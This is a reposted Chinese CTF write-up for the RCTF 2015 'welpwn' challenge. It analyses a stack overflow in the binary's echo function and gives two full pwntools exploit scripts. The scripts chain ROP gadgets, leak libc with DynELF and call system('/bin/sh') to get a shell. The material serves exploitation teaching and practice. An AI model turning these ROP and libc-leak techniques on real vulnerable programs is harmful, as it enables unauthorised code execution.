RCTF-200 welpwn 地址泄露实例

转载地址:http://blog.csdn.net/SmalOSnail/article/details/53436113

题目来源

RCTF 2015 welpwn
http://oj.xctf.org.cn/files/welpwn_932a4428ea8d4581431502ab7e66ea4b

题目分析

先获取程序的基本信息:
info

然后用ida静态分析程序代码,main函数如下:
main

主函数中read()函数读取了1024个字节的数据,随后调用echo函数:
echo

可以看到echo函数栈桢的大小是20h

echo函数中存在一个循环赋值,循环次数是read函数读的数据的长度,如下图:
vuln

由于echo函数的栈桢大小(20h)远小于read函数可以读取的数据长度(400h),在进行循环赋值的时候,echo函数保存在栈中的返回地址会被覆盖。

下图是输入为"A"*12 + "B"*12 + "C"*4时,程序执行到循环赋值时栈的情况:
overflow

高亮的部分是echo函数的返回地址,它即将被覆盖。
over

解题思路

由于程序设置了栈不可执行,可以构造ROP链,泄露libc中的函数

  1. 泄露libc,获取system,gets等函数地址
  2. 构造gets(bss);'/bin/sh'写入bss
  3. 构造'system("/bin/sh")'得到shell

解题过程

使用Linux_x64中通用的gadgets构造ROP链
gadgets

首先收集一些需要用到的信息,包括bss段的地址、main函数地址、程序中已有函数的地址、gadgets地址……

使用ROPgadgets寻找gadgets(用于构造ROP链):
gad

main函数地址(用作返回地址):
main

bss段开始地址(用于存储字符串’/bin/sh’):
bss

gets(plt)函数地址(用作泄露内存):
gets

构造ROP链,泄露内存:

rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
payload = "A" * 24 + p64(ppppr) + rop
  
  

    利用pwnlibDynELF模块泄露libcsystemputs地址:

    def leak(addr):
        rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
        payload = "A" * 24 + p64(ppppr) + rop
        p.sendline(payload)
        p.recv(27)
        tmp = p.recv()
        data = tmp.split("\nWelcome")[0]
        if len(data):
            return data
        else:
            return '\x00'
    
    
    d = DynELF(leak, elf=ELF('welpwn'))
    
    
    system = d.lookup('system', 'libc')
    gets = d.lookup('gets', 'libc')
    
     
     

      构造ROP链将'/bin/sh'写入bss段,并执行system("/bin/sh"):

      rop = p64(poprdi) + p64(bss) + p64(gets) + p64(poprdi) + p64(bss) + p64(system) + p64(0xdeadbeef)
      
      
      payload = "A"*24 + p64(ppppr) + rop
       
       

        解题脚本

        这里有两个脚本,第一个是我自己写的,第二个是参考fuchuangbob的脚本。自己写的时候没有想到可以利用pop rdi; ret这个gadgets,写的略显复杂,但是构造ROP链的部分写的比较详细,不熟悉ROP链构造的同学可以看下exp1exp2比较高级,代码也很简练,我从中也学到了不少:D

        exp1.py

        #!/usr/bin/python 
        # only use general gadgets
        from pwn import *
        
        
        p = process('welpwn')
        context(arch='amd64', os='linux')
        
        
        # load program
        elf = ELF('welpwn')
        
        
        # infomation
        read_got = elf.symbols['got.read']
        log.info("read_got = " + hex(read_got))
        
        
        write_got = elf.symbols['got.write']
        log.info("write_got = " + hex(write_got))
        
        
        main = elf.symbols['main']
        log.info("main = " + hex(main))
        
        
        # overflow point
        buflen = 24
        
        
        # gadgets
        mmmcall = 0x400880
        ppppppr = 0x40089a
        ppppr = 0x40089c
        
        
        # junk code
        padding = 0xdeadbeef
        
        
        # need leak libc
        # function 1 get system addr
        # write(1, address, 8)
        flag = 0
        def leak(address):
            global flag
            payload = ""
            payload += "Q" * buflen
            payload += p64(ppppr)       
            payload += p64(ppppppr)
            rbx = 0
            rbp = 1
            r12 = write_got
            r13 = 8
            r14 = address
            r15 = 1
            ret = mmmcall
            payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
            ret = main
            payload += p64(padding) * 7 + p64(ret)
        
        
            p.recvuntil('RCTF\n')
            p.sendline(payload)
        
        
            if flag:
                p.recv(0x1b)
            data = p.recv(8)
            log.info("recv: " + str(data))
            flag += 1
            return data
        
        
        d = DynELF(leak, elf=ELF('welpwn'))
        
        
        system = d.lookup('system', 'libc')
        log.info("system addr = " + hex(system))
        
        
        #system = 0x7ffff7a60e10
        bss = 0x601300
        payload = ""
        payload += "P" * buflen
        payload += p64(ppppr)
        payload += p64(ppppppr)
        rbx = 0
        rbp = 1
        r12 = read_got
        r13 = 17
        r14 = bss
        r15 = 0
        ret = mmmcall
        payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
        ret = main
        payload += p64(padding) * 7 + p64(ret)
        
        
        p.recvuntil("RCTF\n")
        p.sendline(payload)
        sleep(1)
        p.sendline("/bin/sh\0"+ p64(system))
        
        
        # # function check bss 
        # # write(1, bss, 16)
        check = ""
        check += "C" * buflen
        check += p64(ppppr)
        check += p64(ppppppr)
        rbx = 0
        rbp = 1
        r12 = write_got
        r13 = 16
        r14 = bss
        r15 = 1
        ret = mmmcall
        check += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
        ret = main
        check += p64(padding) * 7 + p64(ret)
        
        
        p.recvuntil("RCTF\n")
        p.sendline(check)
        sleep(1)
        p.recv(0x1b)
        log.info("recv:" + p.recv(16).encode('hex'))
        
        
        # function 3 get shell
        # system(bss)
        payload = ""
        payload += "R" * buflen
        payload += p64(ppppr)
        payload += p64(ppppppr)
        rbx = 0
        rbp = 1
        r12 = bss+0x8
        r13 = bss
        r14 = bss
        r15 = bss
        ret = mmmcall
        payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
        ret = main
        payload += p64(padding) * 7 + p64(ret)
        
        
        p.recvuntil("RCTF\n")
        p.sendline(payload)
        
        
        sleep(0.5)
        p.recv()
        p.interactive()
        
         
         

          exp2.py

          #!/usr/bin/python 
          from pwn import *
          p = process('welpwn')
          #context.log_level = 'debug'
          ppppr = 0x40089c
          poprdi = 0x4008a3
          main = 0x4007cd
          puts_plt = 0x4005a0
          bss = 0x601070
          
          
          p.recvuntil("RCTF\n")
          def leak(addr):
              rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
              payload = "A" * 24 + p64(ppppr) + rop
              p.sendline(payload)
              p.recv(27)
              tmp = p.recv()
              data = tmp.split("\nWelcome")[0]
              if len(data):
                  return data
              else:
                  return '\x00'
          
          
          d = DynELF(leak, elf=ELF('welpwn'))
          system = d.lookup('system', 'libc')
          log.info("system addr = " + hex(system))
          gets = d.lookup('gets', 'libc')
          log.info("gets addr = " + hex(gets))
          
          
          # gets(bss); system(bss);
          rop = p64(poprdi) + p64(bss) + p64(gets) + p64(poprdi) + p64(bss) + p64(system) + p64(0xdeadbeef)
          payload = "A"*24 + p64(ppppr) + rop
          p.sendline(payload)
          sleep(1)
          p.sendline('/bin/sh\0')
          
          
          p.interactive()
           
           

            源码下载

            https://github.com/TaQini/pwn/tree/master/welpwn

            • 0
              点赞
            • 3
              收藏
              觉得还不错? 一键收藏
            • 0
              评论
            评论
            添加红包

            请填写红包祝福语或标题

            红包个数最小为10个

            红包金额最低5元

            当前余额3.43前往充值 >
            需支付:10.00
            成就一亿技术人!
            领取后你会自动成为博主和红包主的粉丝 规则
            hope_wisdom
            发出的红包
            实付
            使用余额支付
            点击重新获取
            扫码支付
            钱包余额 0

            抵扣说明:

            1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
            2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

            余额充值